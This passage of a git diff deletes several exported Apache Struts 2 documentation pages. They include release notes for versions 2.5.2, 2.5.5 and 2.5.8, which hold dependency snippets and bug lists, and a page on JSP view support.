-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.5.2-InternalChanges">Internal Changes</h2><h3 id="VersionNotes2.5.2-Bug">Bug</h3><ul><li>[<a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-4645">WW-4645</a>] - SecurityMemberAccess exclude class design issue</li><li>[<a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-4650">WW-4650</a>] - Json deserialization does not work in 2.5.1</li><li>[<a shape="rect" class="external-link" href="ht [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-255.html b/content/docs/version-notes-255.html
deleted file mode 100644
index ddca56a..0000000
--- a/content/docs/version-notes-255.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.5.5</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-255.html">Version Notes 2.5.5</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.5.5</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65873555">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=65873555">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65873555">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=65873555">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65873555">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=65873555">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.5.5 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoti [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.5.5&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.5.5-InternalChanges">Internal Changes</h2><h3 id="VersionNotes2.5.5-Bug">Bug</h3><ul><li>[<a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-4601" style="text-decoration: none;">WW-4601</a>] - webconsole can always be accessed</li><li>[<a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-4628" style="text-decoration: none;">WW-4628</a>] - Space character and includeParams</li><li>[<a shape [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-258.html b/content/docs/version-notes-258.html
deleted file mode 100644
index 0ad8dd8..0000000
--- a/content/docs/version-notes-258.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.5.8</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-258.html">Version Notes 2.5.8</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.5.8</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66853802">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66853802">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66853802">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66853802">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66853802">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66853802">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.5.8 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoti [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.5.8&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.5.8-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Possible DoS attack when using&#160;<code>URLValidator</code> -&#160;<a shape="rect" href="s2-044.html">S2-044</a></li></ul><h2 id="VersionNotes2.5.8-Bug">Bug</h2><ul><li>[<a shape="r [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/views.html b/content/docs/views.html
deleted file mode 100644
index f08970b..0000000
--- a/content/docs/views.html
+++ /dev/null
@@ -1,178 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Views</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="views.html">Views</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Views</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13915">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13915">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13915">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13915">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13915">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13915">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Out of the box, the framework supports JSP, Velocity, and FreeMarker for your application presentation layer. Support for other view technologies is easy to add, if needed.</p>
-
-<h2 id="Views-JSPExample">JSP Example</h2>
-
-<p>The framework comes packaged with a <a shape="rect" href="struts-tags.html">tag library (taglibs)</a> that make it easy to reference framework resources from JavaServer Pages.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Input.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="saf" uri="/action" %&gt;
-&lt;html&gt;
-&lt;head&gt;
-    &lt;title&gt;Cookbook - Simple Input Form using Action Properties&lt;/title&gt;
-    &lt;saf:head/&gt;
-&lt;/head&gt;
-
-&lt;body&gt;
-&lt;saf:form method="POST"&gt;
-    &lt;saf:textfield label="Please enter your name" name="name"/&gt;
-    &lt;saf:submit/&gt;
-&lt;/safform&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-<p>The process of events will go as follows:</p>
-<ol><li>The client will make request for the page <code>Input.do</code>.</li><li>Since the page has an <code>.do</code> extension, the framework will look up the action for <code>Input</code>.</li><li>The framework will select the JSP to render.</li><li>The JSP will use the <code>saf</code> tags to output fields, labels, hyperlinks, and localized messages.</li><li>The client will receive pure HTML to render.</li></ol></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/visitor-validator.html b/content/docs/visitor-validator.html
deleted file mode 100644
index 8fdba4e..0000000
--- a/content/docs/visitor-validator.html
+++ /dev/null
@@ -1,193 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>visitor validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="visitor-validator.html">visitor validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
